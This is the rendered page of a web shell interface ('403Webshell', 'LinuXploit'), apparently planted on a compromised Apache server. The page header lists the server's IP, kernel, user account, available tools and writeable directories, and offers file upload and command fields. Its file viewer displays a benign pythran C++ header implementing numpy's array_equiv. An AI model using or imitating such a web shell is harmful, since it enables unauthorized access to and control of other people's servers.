403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/pythonic/numpy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/pythonic/numpy//array_equiv.hpp
#ifndef PYTHONIC_NUMPY_ARRAYEQUIV_HPP
#define PYTHONIC_NUMPY_ARRAYEQUIV_HPP

#include "pythonic/include/numpy/array_equiv.hpp"

#include "pythonic/numpy/array_equal.hpp"
#include "pythonic/numpy/asarray.hpp"

PYTHONIC_NS_BEGIN

namespace numpy
{
  namespace
  {
    template <class I0, class U>
    bool _array_equiv(I0 vbegin, I0 vend, U const &uu)
    {
      for (; vbegin != vend; ++vbegin)
        if (!array_equiv(uu, *vbegin))
          return false;
      return true;
    }
  }

  template <class U, class V>
  typename std::enable_if<U::value == V::value, bool>::type
  array_equiv(U const &u, V const &v)
  {
    return array_equal(u, v);
  }

  template <class U, class V>
      typename std::enable_if <
      U::value<V::value, bool>::type array_equiv(U const &u, V const &v)
  {
    if (v.flat_size() % u.flat_size() == 0)
      // requires allocation for u' as it is used multiple times.
      return _array_equiv(v.begin(), v.end(), asarray(u));
    return false;
  }

  template <class U, class V>
  typename std::enable_if<(U::value > V::value), bool>::type
  array_equiv(U const &u, V const &v)
  {
    return array_equiv(v, u);
  }
}
PYTHONIC_NS_END

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit